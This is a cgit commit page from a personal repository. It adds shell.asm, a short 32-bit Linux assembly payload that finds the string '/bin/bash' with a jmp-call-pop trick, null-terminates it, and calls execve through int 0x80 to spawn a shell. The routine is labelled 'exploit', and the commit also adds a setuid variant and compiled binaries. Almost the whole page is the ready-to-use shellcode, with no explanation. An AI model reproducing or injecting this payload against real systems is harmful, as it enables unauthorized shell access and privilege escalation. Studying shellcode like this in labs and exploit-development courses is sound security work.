summaryrefslogtreecommitdiff
path: root/exec_cmd/shell.asm
diff options
context:
space:
mode:
authorBrett Weiland <techcrazybsw@gmail.com>2020-11-20 17:57:20 -0600
committerBrett Weiland <techcrazybsw@gmail.com>2020-11-20 17:57:20 -0600
commit0c7b4ed75157aa9d781e4eec92a0a604c4c45c9c (patch)
tree82d890d910645693ec9140a415f95ae13ab1b85e /exec_cmd/shell.asm
new file: exec_cmd/makefileHEADmaster
new file: exec_cmd/shell new file: exec_cmd/shell.asm new file: exec_cmd/shell.o new file: exec_cmd_setuid/makefile new file: exec_cmd_setuid/shell new file: exec_cmd_setuid/shell.asm new file: exec_cmd_setuid/shell.o
Diffstat (limited to 'exec_cmd/shell.asm')
-rw-r--r--exec_cmd/shell.asm19
1 files changed, 19 insertions, 0 deletions
diff --git a/exec_cmd/shell.asm b/exec_cmd/shell.asm
new file mode 100644
index 0000000..d90d9a4
--- /dev/null
+++ b/exec_cmd/shell.asm
@@ -0,0 +1,19 @@
+global _start
+_start:
+jmp short data
+
+exploit:
+xor eax, eax
+xor ebx, ebx
+xor ecx, ecx
+pop edx
+mov [edx + 10], eax
+mov al, 11
+mov ebx, edx
+xor edx, edx
+int 0x80
+
+
+data:
+call exploit
+cmd: db '/bin/bash'